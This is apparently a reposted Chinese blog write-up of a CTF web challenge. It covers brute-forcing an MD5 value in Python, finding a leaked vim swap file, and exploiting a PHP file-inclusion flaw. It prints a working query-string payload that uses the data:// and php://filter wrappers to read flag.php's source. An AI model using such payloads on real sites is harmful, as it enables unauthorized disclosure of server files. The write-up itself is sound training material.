博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
Doc
阅读量:4028 次
发布时间:2019-05-24

本文共 1248 字,大约阅读时间需要 4 分钟。

解题过程如下

首先写脚本

爆破出md5,建议采用python或者php

#coding:utf-8#python3import hashlibimport timet = time.time()l = 'qwertyuiopasdfghjklzxcvbnm'for i in l:    for j in l:        for k in l:            for m in l:                for n in l:                    for o in l:                        f = 'y' + i + j + k + m + n + o #+ p                        md5 =  hashlib.md5(f.encode(encoding='UTF-8')).hexdigest()                        if md5[:4] == '9d92' and md5[-4:] == 'b24e':                            print(f)                            print(md5)                            print(time.time()-t)

爆出来的结果都是9d9208a0bda5b582cc5baffd5bf6b24e,明文是ytxyyds.

然后是扫描

在这里插入图片描述

用扫描器扫描一下,发现了一个flag.php

然后看到了这个

在这里插入图片描述

如果你的字典足够强大,应该能扫描到Login.php.swp,考点是vim文件泄露,或者是文件备份

好像火狐和谷歌展现出来的不太一样:
在这里插入图片描述
在这里插入图片描述

代码审计

接下来就是代码审计。简单还是很简单的,主要就是文件包含漏洞,绕过前两个检测就行,具体分析如下:

".file_get_contents($text,'r')."

"; include($file); //在这里进行文件包含 }?>

想要让file_get_contents($text,'r')的内容变为YTXyyds可以采用两种PHP伪协议,一种是php://input,另一种是data://text,由于这里过滤了php://input,所以采用

?text=data://text/plain,YTXyyds

file的话就很简单了,只是普通的文件读取,用php://filter/read=convert.base64-encode/resource=就行。总结出payload:

?text=data://text/plain,YTXyyds&file=php://filter/read=convert.base64-encode/resource=flag.php

在这里插入图片描述

在这里插入图片描述
考核的时候动态flag看不到这个flag,以此纪念 /手动示爱 23333333

转载地址:http://uapbi.baihongyu.com/

你可能感兴趣的文章
Django objects.all()、objects.get()与objects.filter()之间的区别介绍
查看>>
python:如何将excel文件转化成CSV格式
查看>>
Django 的Error: [Errno 10013]错误
查看>>
机器学习实战之决策树(一)
查看>>
[LeetCode By Python] 2 Add Two Number
查看>>
python 中的 if __name__=='__main__' 作用
查看>>
机器学习实战之决策树二
查看>>
[LeetCode By Python]7 Reverse Integer
查看>>
[LeetCode By Python]9. Palindrome Number
查看>>
[leetCode By Python] 14. Longest Common Prefix
查看>>
[LeetCode By Python]107. Binary Tree Level Order Traversal II
查看>>
[LeetCode By Python]108. Convert Sorted Array to Binary Search Tree
查看>>
[leetCode By Python]111. Minimum Depth of Binary Tree
查看>>
[LeetCode By Python]118. Pascal's Triangle
查看>>
[LeetCode By Python]121. Best Time to Buy and Sell Stock
查看>>
[LeetCode By Python]122. Best Time to Buy and Sell Stock II
查看>>
[LeetCode By Python]125. Valid Palindrome
查看>>
[LeetCode By Python]136. Single Number
查看>>
[LeetCode By Python]167. Two Sum II - Input array is sorted
查看>>
[LeetCode BY Python]169. Majority Element
查看>>